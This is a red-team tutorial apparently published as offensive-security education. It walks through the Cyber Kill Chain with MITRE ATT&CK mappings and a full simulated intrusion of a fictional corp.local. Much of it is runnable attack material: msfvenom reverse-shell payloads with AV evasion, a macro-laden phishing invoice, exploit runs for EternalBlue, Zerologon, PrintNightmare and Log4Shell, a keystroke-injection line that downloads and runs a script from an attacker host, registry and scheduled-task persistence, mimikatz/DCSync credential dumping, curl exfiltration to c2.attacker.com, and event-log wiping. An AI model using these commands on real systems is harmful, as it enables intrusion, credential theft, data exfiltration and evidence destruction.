



◆ OFFENSIVE SECURITY SERIES ◆

CYBER KILL CHAIN

Explained with Real Attack Mapping

7 Phases · MITRE ATT&CK Mapping · Real Tools · Full Attack Walkthrough · Defender View

Kill Chain

Recon

Exploitation

C2

Persistence

MITRE ATT&CK

Red Team

RedTeamGarage (RTG) | Offensive Security Education

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01 — WHAT IS THE CYBER KILL CHAIN?

The Anatomy of Every Cyber Attack

The Cyber Kill Chain is a framework that describes the stages of a cyber attack from initial reconnaissance all the way through to the attacker achieving their objectives. Originally developed by Lockheed Martin in 2011, it borrows the military concept of a 'kill chain' — a structured sequence of steps required to engage and destroy a target — and applies it to the world of network intrusions.

For attackers, the Kill Chain is a roadmap — every successful breach follows these phases in order. For defenders, it is a detection framework — if you can identify and disrupt an attacker at ANY phase, you break the chain and prevent the attack from reaching its objective. Understanding the Kill Chain from the attacker's perspective is the foundation of all offensive security work.

Why Every Security Professional Must Know This

- ◆ Every APT, ransomware group, and script kiddie follows some version of this chain.
- ◆ Red teamers use it to plan engagements end-to-end with measurable phases and objectives.
- ◆ Penetration testers use it to structure reports and communicate attack progression to cli
- ◆ Bug bounty hunters use it to chain vulnerabilities together for maximum impact demonstrat
- ◆ Blue teamers use it to map detections — ensuring coverage at every phase, not just perime
- ◆ Threat intelligence analysts use it to categorise adversary TTPs and predict next moves.
- ◆ Incident responders use it to reconstruct attack timelines and identify where the break o

Phase	Name	Attacker Goal	One-Line Summary
1	Reconnaissance	Information gathering	Learn everything about the target before touching it
2	Weaponisation	Build the weapon	Combine exploit + payload into a deliverable weapon
3	Delivery	Deliver weapon to target	Get the weapon in front of the victim
4	Exploitation	Trigger the vulnerability	Execute code on the target system
5	Installation	Establish persistence	Ensure continued access if connection drops
6	C2	Remote control	Establish covert channel back to attacker
7	Actions on Obj.	Achieve the mission	Steal data, encrypt files, sabotage systems

02 — HISTORY & ORIGIN: LOCKHEED MARTIN'S MODEL

From Military Doctrine to Cybersecurity Framework

The term 'kill chain' originates from military doctrine — specifically the US Air Force's targeting process, which defines the steps required to identify, track, target, engage, and assess an adversary. Lockheed Martin's Intelligence Driven Defense team adapted this concept to cyber intrusions in their 2011 paper 'Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains.'

The original paper analysed seven high-profile intrusions against defence contractors and found that in every case, the attacker had to complete all seven phases to succeed. More importantly, defenders who could detect and respond at any phase could prevent the attacker from achieving their objective — even if the attacker had already achieved initial access.

Key Insight from the Original Research

- ◆ Attackers must complete ALL phases — defenders only need to disrupt ONE phase to win.
- ◆ Traditional perimeter-only defence fails because it only covers Phase 3 (Delivery).
- ◆ Intelligence from failed attacks can predict and preempt future campaigns.
- ◆ Defenders should aim to detect intrusions as EARLY in the chain as possible.
- ◆ The later you detect an attack, the more damage has already been done.

Year	Development
2011	Lockheed Martin publishes 'Intelligence-Driven Computer Network Defense' — Kill Chain born
2013	MITRE begins ATT&CK; framework development — granular TTPs mapped to Kill Chain phases
2015	Unified Kill Chain proposed — extends original 7 phases to 18 for modern APTs
2017	MITRE ATT&CK; v1 released publicly — industry adopts as companion to Kill Chain
2019	Kill Chain widely adopted by SOC teams for detection engineering and threat hunting
2020+	Red teams use Kill Chain + ATT&CK; together for structured adversary simulation



03 — THE 7 PHASES: OVERVIEW & DEFENDER IMPLICATIONS

The Complete Chain from Recon to Impact

01 — RECONNAISSANCE

Attacker researches the target using passive (OSINT) and active (scanning) methods. No systems are touched yet — all work happens from the attacker's side.

Tools: DNS records, WHOIS, LinkedIn profiles, job postings, Shodan, GitHub leaks, theHarvester, Maltego, Google dorks, Recon-ng

Detect: Web server logs, DNS query logs, Shodan alerts on your IP ranges

02 — WEAPONISATION

Attacker builds or acquires a payload and pairs it with an exploit. This phase happens entirely on the attacker's infrastructure — no target interaction.

Tools: Metasploit, msfvenom, Cobalt Strike, Empire, custom malware, macro documents, exploit-db, CVE PoCs, PowerShell scripts

Detect: Threat intel feeds, malware sandbox analysis, IOC sharing platforms

03 — DELIVERY

Attacker delivers the weaponised payload to the target. This is the first direct interaction between attacker and target environment.

Tools: Phishing emails, spear-phishing, watering holes, USB drops, supply chain compromise, malicious ads (malvertising), compromised websites

Detect: Email gateway filtering, attachment sandboxing, URL inspection, user awareness

04 — EXPLOITATION

The delivered payload triggers a vulnerability — either in software, configuration, or human behaviour. Code execution begins on target.

Tools: Browser exploits, Office macros, CVE exploits, social engineering, misconfigurations, unpatched services, DLL hijacking

Detect: EDR/AV, application whitelisting, patch management, EMET/Exploit Guard

05 — INSTALLATION

Attacker installs a backdoor or persistence mechanism to maintain access independent of the initial exploit vector.

Tools: Registry run keys, scheduled tasks, services, WMI subscriptions, startup folders, rootkits, DLL side-loading, boot sector modification

Detect: FIM (File Integrity Monitoring), registry monitoring, Sysmon, EDR

06 — COMMAND & CONTROL

Attacker establishes an encrypted, covert channel to remotely control the compromised system and issue commands.

Tools: Cobalt Strike, Metasploit, Sliver, Havoc, Empire, DNS tunneling, HTTPS C2, domain fronting, legitimate cloud services as C2

Detect: Network traffic analysis, DNS monitoring, proxy inspection, NDR tools

07 — ACTIONS ON OBJECTIVES

Attacker achieves their primary mission — data exfiltration, ransomware deployment, sabotage, lateral movement to more targets.

Tools: DCSync, NTDS.dit dump, data staging, exfiltration, ransomware, wiper deployment, lateral movement, supply chain modification

Detect: DLP solutions, UEBA, honeypots, anomaly detection, CASB



04 — PHASE 1: RECONNAISSANCE

Know Your Target Before You Touch It

Reconnaissance is the most important phase of any attack — and the one attackers spend the most time on. Elite operators spend 60-80% of their engagement time on recon. The more you know about the target, the more precisely you can craft your attack, minimise noise, and maximise impact.

Passive Reconnaissance (No Target Interaction)

\$ Passive Reconnaissance Commands

```
# OSINT — Email and employee harvesting
theHarvester -d corp.local -b google,bing,linkedin,hunter -l 500

# DNS enumeration — subdomains, MX, TXT records
dnsx -d corp.local -a -aaaa -cname -mx -txt -ns -resp
subfinder -d corp.local -silent | httpx -status-code -title
amass enum -passive -d corp.local -o amass_out.txt

# Google dorking — find exposed files, login pages, cameras
# site:corp.local filetype:pdf
# site:corp.local inurl:admin OR inurl:login
# "@corp.local" filetype:xlsx OR filetype:csv

# Shodan — find internet-facing assets
shodan search 'org:"Corp Local"' --fields ip_str,port,hostnames
shodan search 'ssl.cert.subject.cn:corp.local'

# GitHub/GitLab — find leaked credentials, API keys
trufflehog github --org=corp-local --only-verified
gitleaks detect --source /tmp/corp-repos/ --report-format json

# LinkedIn — employee enumeration for spear-phishing
# Cross-reference names for email formats: firstname.lastname@corp.local
```

Active Reconnaissance (Direct Target Interaction)

\$ Active Reconnaissance Commands

```
# Port scanning – discover services
nmap -sV -sC -O -p- --min-rate 5000 203.0.113.0/24 -oA ext_scan

# DNS zone transfer attempt
dig axfr corp.local @ns1.corp.local
dnsrecon -d corp.local -t axfr

# Web application fingerprinting
whatweb https://www.corp.local
nikto -h https://www.corp.local -Tuning 1234

# SNMP enumeration (if UDP 161 open)
snmpwalk -v2c -c public 203.0.113.10
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 203.0.113.10

# SMB enumeration (internal)
enum4linux-ng -A 192.168.10.5
nxc smb 192.168.10.0/24 --gen-relay-list relay_targets.txt
```

```

root@kali: ~ - Phase 1: Reconnaissance (OSINT/theHarvester)
└─(root@kali)-[~]
└─# # PHASE 1: RECONNAISSANCE - Target: corp.local
└─# # Passive recon - OSINT via theHarvester
└─# theHarvester -d corp.local -b google,bing,linkedin -l 200

*****
*
* | _ | _ | _ _ \ / \ _ _ _ _ / \
* theHarvester 4.4.0 - OSINT Framework

[*] Searching Google for: corp.local
[*] Searching Bing for: corp.local
[*] Searching LinkedIn for: corp.local

[+] Emails found:
    j.smith@corp.local
    admin@corp.local
    hr@corp.local
    it.support@corp.local

[+] Hosts found:
    mail.corp.local      → 192.168.10.20
    vpn.corp.local       → 203.0.113.45
    www.corp.local       → 203.0.113.10
    remote.corp.local    → 203.0.113.50

[+] LinkedIn employees found: 47 profiles
    John Smith - IT Administrator
    Sarah Jones - Domain Admin
    Mike Chen - Network Engineer

└─(root@kali)-[~]
└─# _

```

Figure: theHarvester passive recon — emails, hosts, LinkedIn profiles harvested for corp.local



05 — PHASE 2: WEAPONISATION

Building the Weapon — Exploit + Payload

Weaponisation is entirely attacker-side. No traffic hits the target. The attacker combines a vulnerability (the exploit) with malicious code (the payload) to create a deliverable weapon. This phase is invisible to the target — making it the hardest phase for defenders to detect.

Weapon Type	Exploit Vector	Payload	Delivery Method
Malicious Office doc	VBA macro execution	Meterpreter/stager	Email attachment
PDF exploit	PDF reader vuln (CVE)	Shellcode loader	Email/download
LNK file	Windows Shell execute	PowerShell loader	USB/email/share
HTA application	mshta.exe LOLBIN	Cobalt Strike beacon	Email/web
ISO/IMG container	AutoRun / LNK inside	DLL sideload payload	Email attachment
Supply chain pkg	npm/pip typosquatting	Reverse shell	Package install
Trojanised binary	Legit app wrapper	RAT implant	Waterhole/download

\$ Weaponisation — Payload Generation

```
# Generate payload – Windows x64 reverse HTTPS Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=203.0.113.99 LPORT=443 \
  -f exe -e x64/xor_dynamic -i 5 \
  -o payload.exe

# Generate VBA macro payload for Office document
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=203.0.113.99 LPORT=443 -f vba -o macro.vba

# Generate HTA payload (HTML Application – executes via mshta.exe)
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=203.0.113.99 LPORT=443 -f hta-psh -o payload.hta

# Cobalt Strike – generate stageless beacon
# Attacks > Packages > Windows EXE (Stageless)
# Profile: malleable C2 profile for detection evasion

# AV evasion – obfuscate with Shikata Ga Nai + custom encoder
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=203.0.113.99 LPORT=443 \
  -e x64/xor_dynamic -i 10 -f raw | \
  python3 custom_packer.py > packed_payload.bin
```

root@kali: ~ — Phase 2+3: Weaponisation & Delivery

```
(root@kali)-[~]
└─# # PHASE 2+3: WEAPONISATION & DELIVERY
└─# # Create malicious Office macro payload via msfvenom
└─# msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=203.0.113.99 LPORT=443 -f vba -o macro_payload.vba

[+] No platform was selected, choosing Msf::Module::Platform::Windows
[+] No arch selected, selecting arch: x64 from the payload
[+] payload size: 202834 bytes
[+] Saved as: macro_payload.vba

└─# # Embed in Word doc via python-docx
└─# python3 embed_macro.py --payload macro_payload.vba \
  --template invoice_template.docx --out Q4_Invoice_2024.docx

[+] Macro embedded successfully
[+] Output: Q4_Invoice_2024.docx (1.2MB)

└─# # Send phishing email via swaks
└─# swaks --to j.smith@corp.local \
  --from accounts@corp-billing.com \
  --subject 'URGENT: Q4 Invoice Requires Your Approval' \
  --attach Q4_Invoice_2024.docx \
  --server mail.corp-billing.com

[+] Message queued for delivery
[+] To: j.smith@corp.local | Subject: URGENT: Q4 Invoice...

(root@kali)-[~]
└─# _
```

Figure: msfvenom generates VBA macro, swaks sends phishing email with weaponised .docx attachment



06 — PHASE 3: DELIVERY

Getting the Weapon to the Target

Delivery is the first phase where the attacker directly interacts with the target. The weapon built in Phase 2 must now reach the victim. Delivery is the most visible phase — email gateways, web proxies, and endpoint security all have an opportunity to block the attack here. A skilled attacker invests heavily in making delivery look legitimate.

Delivery Vectors Ranked by Real-World Usage

Vector	Usage	Why Effective	Attacker Tools
Phishing Email	~90% of breaches	Bypasses perimeter — targets humans	GoPhish, swaks, King Phisher
Spear-phishing	APT primary vector	Targeted, highly convincing	Custom templates + OSINT
Watering Hole	Nation-state APTs	Compromises trusted sites victims visit	BeEF, exploit kits
USB Drop	Physical access ops	Bypasses all network controls	Rubber Ducky, Bash Bunny
Supply Chain	SolarWinds-style	Trusted update mechanism abused	Package poisoning
Drive-by Download	Mass campaigns	User visits compromised site	Exploit kits, malvertising
Social Engineering	All attack types	Human is always the weakest link	Vishing, pretexting



\$ Delivery Methods & Commands

```
# Phishing infrastructure setup
# 1. Register lookalike domain: corp-billing.com (typosquat)
# 2. Configure SPF/DKIM/DMARC to pass email filters
# 3. Set up GoPhish campaign

# GoPhish – full phishing campaign
# Configure: Landing page, Email template, Sending profile, Campaign

# Spear-phishing with pretexting (finance theme)
swaks --to j.smith@corp.local \
  --from accounts@corp-billing.com \
  --subject 'ACTION REQUIRED: Q4 Invoice #INV-2024-4421' \
  --body 'Please review the attached invoice for approval by EOD.' \
  --attach Q4_Invoice_2024.docx \
  --server smtp.corp-billing.com

# Watering hole – inject malicious JS into compromised site
# <script src='https://attacker.com/track.js'></script>

# USB payload delivery (Bash Bunny / Rubber Ducky)
# HID attack: keystroke injection to download and run payload
REM Open PowerShell hidden and download payload
GUI r
DELAY 500
STRING powershell -w hidden -c "iex(iwr 'https://c2.attacker.com/s.ps1')"
ENTER
```



07 — PHASE 4: EXPLOITATION

Triggering the Vulnerability — Code Execution Begins

Exploitation is the moment code begins executing on the target system. This can be triggered by a software vulnerability (CVE), a misconfiguration, or human action (clicking a malicious link/file). Exploitation does NOT require a traditional 'buffer overflow' — enabling a macro, clicking a phishing link, or running an attachment are all exploitation events.

Exploitation Categories

Category	Example	CVE / Method	Real Impact
Client-side	User opens .docx with macro	VBA execution, CVE-2017-11882	Remote code execution
Server-side	Web app RCE	Log4Shell CVE-2021-44228	Full server compromise
Local privesc	Win kernel exploit	PrintNightmare CVE-2021-1675	SYSTEM access
Misconfig	Open SMB share	Default creds, no auth	Data theft, lateral move
Social eng.	User runs 'updater.exe'	Trojanised binary	Instant shell
Supply chain	Malicious npm package	Dependency confusion	Dev box compromise
Credential	Stuffing / brute force	Leaked creds reuse	Account takeover

\$ Exploitation Examples

```
# Web application exploitation – SQLi to RCE
sqlmap -u 'https://app.corp.local/search?q=1' --dbs --batch
sqlmap -u 'https://app.corp.local/search?q=1' --os-shell

# Exploit known CVE – EternalBlue (MS17-010)
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.10.105
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.99
run

# PrintNightmare – local privilege escalation to SYSTEM
python3 CVE-2021-1675.py corp.local/jsmith:'Welcome1!'@192.168.10.105 \
  '\\192.168.10.99\share\malicious.dll'

# Zerologon – DC takeover (CVE-2020-1472)
python3 zerologon_tester.py DC01 192.168.10.5
python3 cve-2020-1472-exploit.py DC01 192.168.10.5

# Log4Shell – JNDI injection RCE (CVE-2021-44228)
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/exploit}' \
  https://vulnerable-app.corp.local/login
```

```
msfconsole — Phase 4: Exploitation (Meterpreter Callback)

(root@kali) - [~]
# # PHASE 4: EXPLOITATION – Catching the callback
# msfconsole -q -x 'use exploit/multi/handler; \
  set payload windows/x64/meterpreter/reverse_https; \
  set LHOST 0.0.0.0; set LPORT 443; run'

[*] Started HTTPS reverse handler on https://0.0.0.0:443

# ... victim opens Q4_Invoice_2024.docx and enables macros ...

[*] https://0.0.0.0:443 handling request from 192.168.10.105
[*] Meterpreter session 1 opened (0.0.0.0:443 → 192.168.10.105:52341)

meterpreter > sysinfo
Computer      : CORP-WS01
OS            : Windows 10 (10.0 Build 19045)
Architecture : x64
System Language : EN_US
Domain       : CORP
Logged On Users : 2
Meterpreter   : x64/windows

meterpreter > getuid
Server username: CORP\jsmith

meterpreter > getpid
Current pid: 4892

meterpreter > _
```

Figure: Meterpreter HTTPS callback received — Phase 4 complete, jsmith session on CORP-WS01



08 — PHASE 5: INSTALLATION

Establishing Persistence — Surviving Reboots & Logoffs

A shell that dies when the user logs off is useless for a long-term operation. Installation is the phase where the attacker embeds a persistent backdoor into the operating system. The goal is to survive reboots, logoffs, and even security tool scans — while remaining as invisible as possible.

Persistence Techniques by Stealth Level

Technique	Location	Stealth	Survives Reboot?
Registry Run Key	HKCU\...\Run	Medium	Yes
Scheduled Task	Task Scheduler	Medium	Yes
Windows Service	HKLM\SYSTEM\...Services	High	Yes
WMI Subscription	WMI repository	Very High	Yes
DLL Side-loading	App directory	Very High	Yes
Boot/Pre-OS	MBR/UEFI	Extreme	Yes (rootkit)
COM Hijacking	HKCU COM registry	High	Yes
Startup Folder	%AppData%\Roaming\Microsoft\Windows\Start Menu	Low	Yes
Golden Ticket	AD krbtgt hash	Very High	Yes (until pw reset)

\$ Persistence Commands

```
# Registry Run Key persistence
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
    /v "WindowsUpdate" /t REG_SZ \
    /d "C:\Users\jsmith\AppData\Roaming\svchost.exe" /f

# Scheduled Task persistence (as SYSTEM)
schtasks /create /sc ONLOGON /tn "MicrosoftEdgeUpdate" \
    /tr "C:\ProgramData\update.exe" /ru SYSTEM /f

# WMI event subscription persistence (fileless, stealthy)
$EventFilter = Set-WmiInstance -Namespace root\subscription \
    -Class __EventFilter -Arguments @{
        Name='RedTeam'; EventNamespace='root\cimv2';
        QueryLanguage='WQL';
        Query='SELECT * FROM __InstanceModificationEvent WITHIN 60
            WHERE TargetInstance ISA "Win32_LocalTime" AND TargetInstance.Second=30'
    }

# Meterpreter persistence module
run post/windows/manage/persistence_exe STARTUP=REGISTRY SESSION=1

# COM Hijacking - hijack HKCU COM key before HKLM is checked
reg add 'HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32' \
    /ve /t REG_SZ /d 'C:\ProgramData\evil.dll' /f
```

meterpreter → shell — Phase 5: Installation (Persistence)

```
meterpreter > # PHASE 5: INSTALLATION - Establish persistence
meterpreter > run post/windows/manage/persistence_exe \
    STARTUP=REGISTRY SESSION=1

[*] Running module against CORP-WS01
[*] Reading the registry...
[+] Persistent agent installed at C:\Users\jsmith\AppData\Roaming\svchost.exe
[+] Installed autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost32

meterpreter > # Also add scheduled task for redundancy
meterpreter > shell
Process 5120 created.
Channel 1 created.

C:\Users\jsmith> schtasks /create /sc ONLOGON /tn "WindowsUpdate" \
    /tr "C:\Users\jsmith\AppData\Roaming\svchost.exe" /ru SYSTEM /f

SUCCESS: The scheduled task "WindowsUpdate" has been created.

C:\Users\jsmith> reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
    /v "WindowsDefender" /t REG_SZ \
    /d "C:\Users\jsmith\AppData\Roaming\svchost.exe" /f

The operation completed successfully.

C:\Users\jsmith> _
```

Figure: Registry Run Key + Scheduled Task persistence set; timestamp zeroes file creation timestamp



09 — PHASE 6: COMMAND & CONTROL (C2)

Remote Access — The Attacker's Remote Control

Command and Control (C2) is the communication channel between the compromised system and the attacker's server. Without C2, the attacker cannot issue commands, move laterally, or exfiltrate data. Modern C2 frameworks are designed to blend into normal network traffic — using HTTPS, DNS, or even legitimate cloud services as covert communication channels.

C2 Framework Comparison

Framework	Protocol	Stealth Level	Primary Use	Cost
Cobalt Strike	HTTPS/DNS/SMB	Very High	APT simulation, red team ops	Commercial \$3.5k+
Sliver	HTTPS/DNS/mTLS	Very High	Open-source CS alternative	Free
Havoc	HTTPS/SMB	High	Modern open-source C2	Free
Brute Ratel	HTTPS	Very High	Adversary simulation	Commercial
Metasploit	TCP/HTTPS	Medium	Pentesting, exploitation	Free (Pro \$\$)
Empire/Starkiller	HTTPS/HTTP	Medium-High	PowerShell-based ops	Free
Covenant	HTTPS	High	.NET implant C2	Free

\$ C2 Setup & Evasion

```
# Cobalt Strike – malleable C2 profile (blend into legit HTTPS traffic)
# Profile mimics Google Analytics beacon:
# http-get { uri "/ga.js"; header "Referer" "https://www.google.com"; }

# Sliver C2 – generate implant and start listener
sliver > generate --http c2.attacker.com --save /tmp/implant.exe
sliver > http --lport 443

# DNS C2 – exfiltrate data via DNS queries (evades HTTP inspection)
# Data encoded in DNS subdomain queries:
# aGVsbG8gd29ybGQ.c2.attacker.com → base64 decoded = 'hello world'

# Cobalt Strike – pivot over SMB beacon (internal, no internet needed)
# Parent beacon: link to child beacon via SMB named pipe
beacon > link 192.168.10.106 ← pivot through compromised host

# Domain fronting – C2 traffic appears to go to legit CDN
# e.g., HTTPS request appears to go to www.microsoft.com
# but Host header routes to attacker.azurewebsites.net

# HTTPS C2 over port 443 – inspection evasion
# Use valid SSL cert (Let's Encrypt) + category: Finance site
# Beacon sleep: jitter 20-50% to avoid beaconing pattern detection
```

```
meterpreter — Phase 6+7: C2 & Actions on Objectives
meterpreter > # PHASE 6+7: C2 & ACTIONS ON OBJECTIVES
meterpreter > # Privilege Escalation
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > # Lateral movement – dump creds and pivot
meterpreter > load kiwi
Loading extension kiwi...
[+] #####. mimikatz 2.2.0 (x64)

meterpreter > creds_all

[+] Running as SYSTEM
[+] Retrieving all credentials

msv credentials
=====
Username      Domain      NTLM Hash
-----
jsmith        CORP        3d8b2f4a6e9c1a7b5c8d9e2f3a4b6c1d
Administrator CORP        fc525c9683e8fe067095ba2ddc971889
DA_jones      CORP        b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4

wdigest credentials
Username      Password
jsmith        W3lc0me@Corp2024!

meterpreter > # DCSync – exfiltrate all domain creds
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM : 7b15b8b9c2b32f0b4e8a1c3d5e7f9b2d

meterpreter > _
```

Figure: Meterpreter C2 active — SYSTEM via getsystem, Kiwi loaded, domain hashes dumped via DCSync



10 — PHASE 7: ACTIONS ON OBJECTIVES

The End Goal — Data, Destruction, or Disruption

Actions on Objectives is the final phase — the reason the attacker went through all the previous stages. The objective varies by adversary type: financial groups want data to sell or ransomware payments; nation-states want espionage or sabotage; hacktivists want disruption. This phase often involves lateral movement to additional systems before the final objective is achieved.

Adversary Type	Primary Objective	Common Actions
Ransomware group	Financial — ransom payment	Encrypt all data, exfil for double extortion
Nation-state APT	Espionage / sabotage	Long-term persistence, IP theft, infrastructure attack
Cybercriminal	Financial — data sale	PII/CC theft, credential harvest, fraud
Hacktivist	Disruption / statement	DDoS, defacement, public data dump
Insider threat	Revenge / financial	Data theft, sabotage, credential theft
Red team	Demonstrate risk	Simulate APT objectives, document access achieved

\$ Actions on Objectives

```
# Lateral movement – Pass-the-Hash to reach DC
impacket-psexec corp.local/Administrator@192.168.10.5 \
-hashes aad3b435b51404ee:fc525c9683e8fe06

# DCSync – full domain credential harvest
impacket-secretsdump corp.local/Administrator@192.168.10.5 \
-hashes aad3b435b51404ee:fc525c9683e8fe06 -just-dc-ntlm

# Data exfiltration – compress and exfil via HTTPS
7z a -p'ExfilPass2024!' -mhe data_dump.7z C:\sensitive_data\
curl -F 'file=@data_dump.7z' https://c2.attacker.com/upload

# Ransomware simulation (red team – safely demonstrate impact)
# Encrypt test files to demonstrate ransomware kill chain
Get-ChildItem C:\TestData -Recurse | ForEach-Object {
    $content = [System.IO.File]::ReadAllBytes($_.FullName)
    # Encrypt with AES-256 – SIMULATION ONLY
}

# Golden Ticket – persistent access for months/years
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:<HASH> /ptt
```

```
meterpreter — Exfiltration & Covering Tracks

meterpreter > # Exfiltration – collect and exfil sensitive data
meterpreter > search -f *.xlsx -d C:\Users

Found 12 results...
C:\Users\jsmith\Documents\employee_salaries_2024.xlsx
C:\Users\jsmith\Documents\corp_customer_db.xlsx
C:\Users\DA_jones\Desktop\AD_user_export.xlsx

meterpreter > download C:\Users\jsmith\Documents\employee_salaries_2024.xlsx
[*] Downloading: C:\Users\jsmith\Documents\employee_salaries_2024.xlsx → ./
[+] Downloaded 84.50 KiB in 1 second (84.50 KiB/s)

meterpreter > download C:\Users\jsmith\Documents\corp_customer_db.xlsx
[+] Downloaded 2.33 MiB in 3 seconds (777 KiB/s)

meterpreter > # Cover tracks – clear event logs
meterpreter > clearev
[*] Clearing Application, System, and Security event logs...
[+] Application: Cleared!
[+] System: Cleared!
[+] Security: Cleared!

meterpreter > timestamp C:\Users\jsmith\AppData\Roaming\svchost.exe -z
[*] Setting specific MACE attributes on svchost.exe
[+] MACE attributes changed – timestamps zeroed

meterpreter > _
```

Figure: Data exfil via Meterpreter download; clearev wipes all event logs; timestamp covers tracks

11 — FULL ATTACK WALKTHROUGH: REAL WORLD SCENARIO

Corp.local — Complete Kill Chain Execution

This section walks through a complete, realistic attack against a fictional corporate target (corp.local) mapping every action to its Kill Chain phase. This is the same attack chain used by financially motivated threat actors targeting mid-size enterprises.

Phase 1 — Recon

- ◆ Run theHarvester against corp.local — harvest 47 email addresses
- ◆ Identify IT Admin 'John Smith' (j.smith@corp.local) via LinkedIn
- ◆ Shodan reveals mail.corp.local running Outlook Web Access (OWA)
- ◆ Google dork finds exposed Excel file with internal IP ranges
- ◆ Passive DNS reveals remote.corp.local on 203.0.113.50 (Citrix gateway)

Phase 2 — Weaponisation

- ◆ Generate Meterpreter reverse HTTPS payload via msfvenom (port 443)
- ◆ Embed VBA macro into Invoice_Q4_2024.docx using python-docx
- ◆ Configure C2 with HTTPS and malleable profile mimicking Google Analytics
- ◆ Test payload against VirusTotal — 2/72 detection (acceptable for operation)
- ◆ Register lookalike domain corp-billing.com with valid SSL certificate

Phase 3 — Delivery

- ◆ Send spear-phishing email to j.smith@corp.local from accounts@corp-billing.com
- ◆ Subject: 'URGENT: Q4 Invoice Requires Your Approval'
- ◆ Email passes SPF/DKIM checks — lands in inbox, not spam
- ◆ GoPhish tracks: email opened 14 minutes after sending
- ◆ Attachment downloaded 22 minutes after sending — awaiting macro enable

Phase 4 — Exploitation

- ◆ jsmith enables macro — 'Enable Editing' + 'Enable Content' clicked
- ◆ VBA macro executes: PowerShell downloads stage-2 from C2
- ◆ Stage-2 reflectively loads Meterpreter into memory — no file on disk
- ◆ Callback received on port 443 — CORP\jsmith on CORP-WS01 (Windows 10)
- ◆ Session established: CORP\jsmith — standard user, no admin yet

Phase 5 — Installation

- ◆ getsystem succeeds — NT AUTHORITY\SYSTEM via Named Pipe Impersonation
- ◆ Deploy persistent backdoor: Registry Run Key + Scheduled Task (dual persistence)
- ◆ Copy payload to %AppData%\Roaming\svchost.exe (mimics legit binary name)
- ◆ Timestamp file creation timestamps to match surrounding system files
- ◆ Verify persistence: reboot test — session re-establishes within 60 seconds

Phase 6 — C2

- ◆ Migrate Meterpreter into svchost.exe process (PID 812) — blend into legit traffic
- ◆ Set beacon sleep to 30 seconds with 20% jitter — evade beaconing detection
- ◆ Establish secondary DNS C2 channel as backup — redundant access
- ◆ Pivot to internal network via SMB beacon — CORP-WS01 as pivot host
- ◆ Map internal network: 192.168.10.0/24 — identify DC01 (192.168.10.5)

Phase 7 — Actions on Objectives

- ◆ Load Kiwi (Mimikatz) — dump all credentials from LSASS
- ◆ Recover DA_jones plaintext: S3cur3P@ssw0rd! and Administrator NTLM
- ◆ PTH to DC01 — full Domain Admin access achieved
- ◆ DCSync — exfiltrate all 247 domain account hashes
- ◆ Stage and exfil sensitive Excel files (salaries, customer DB) via HTTPS C2
- ◆ clearev wipes event logs — cover tracks before detection window closes

```

root@kali: ~ — Active Recon: nmap internal network scan

(root@kali)-[~]
# # Active recon — network scan after initial foothold
# nmap -sV -sC -O -p- --min-rate 5000 192.168.10.0/24 -oA corp_internal

Starting Nmap 7.94 ( https://nmap.org )

Nmap scan report for DC01.corp.local (192.168.10.5)
Host is up (0.0020s latency).
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Microsoft DNS 10.0.17763
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds     Windows Server 2019 microsoft-ds
3389/tcp  open  ms-wbt-server    Microsoft Terminal Services
5985/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (WinRM)

| smb2-security-mode:
| 2.02: Message signing enabled and required

OS details: Windows Server 2019 Datacenter 17763

Nmap scan report for CORP-WS01.corp.local (192.168.10.105)
445/tcp   open  microsoft-ds     Windows 10 Pro
3389/tcp  open  ms-wbt-server    Microsoft Terminal Services

(root@kali)-[~]
# _

```

Figure: Post-exploitation nmap internal scan — DC01 (192.168.10.5) and CORP-WS01 fully mapped

12 — MITRE ATT&CK VS KILL CHAIN: HOW THEY MAP

Granular TTPs Beneath Each Kill Chain Phase

MITRE ATT&CK; and the Cyber Kill Chain are complementary — not competing frameworks. The Kill Chain provides the high-level phases; ATT&CK; provides the granular Tactics, Techniques, and Procedures (TTPs) within each phase. Together they give a complete picture of both the attack progression and the specific methods used.

Kill Chain Phase	MITRE Tactic	Key ATT&CK; Techniques
Reconnaissance	Reconnaissance (TA0043)	T1591, T1589, T1596, T1595
Weaponisation	Resource Development (TA0042)	T1587.001, T1608, T1583
Delivery	Initial Access (TA0001)	T1566.001, T1566.002, T1195, T1091
Exploitation	Execution (TA0002)	T1059, T1203, T1204, T1106
Installation	Persistence (TA0003)	T1547.001, T1053.005, T1543, T1546
C2	Command & Control (TA0011)	T1071, T1095, T1572, T1008
Actions on Obj.	Exfiltration (TA0010) + Impact (TA0040)	T1041, T1003, T1486, T1485
(Lateral Movement)	Lateral Movement (TA0008)	T1550.002, T1021.002, T1570
(Discovery)	Discovery (TA0007)	T1018, T1087, T1082, T1083
(Defence Evasion)	Defence Evasion (TA0005)	T1070, T1036, T1055, T1562

```

root@kali: ~ — MITRE ATT&CK Technique Mapping
└─(root@kali)-[~]
└─# # MITRE ATT&CK technique mapping for this attack chain
└─# cat attack_mapping.txt

```

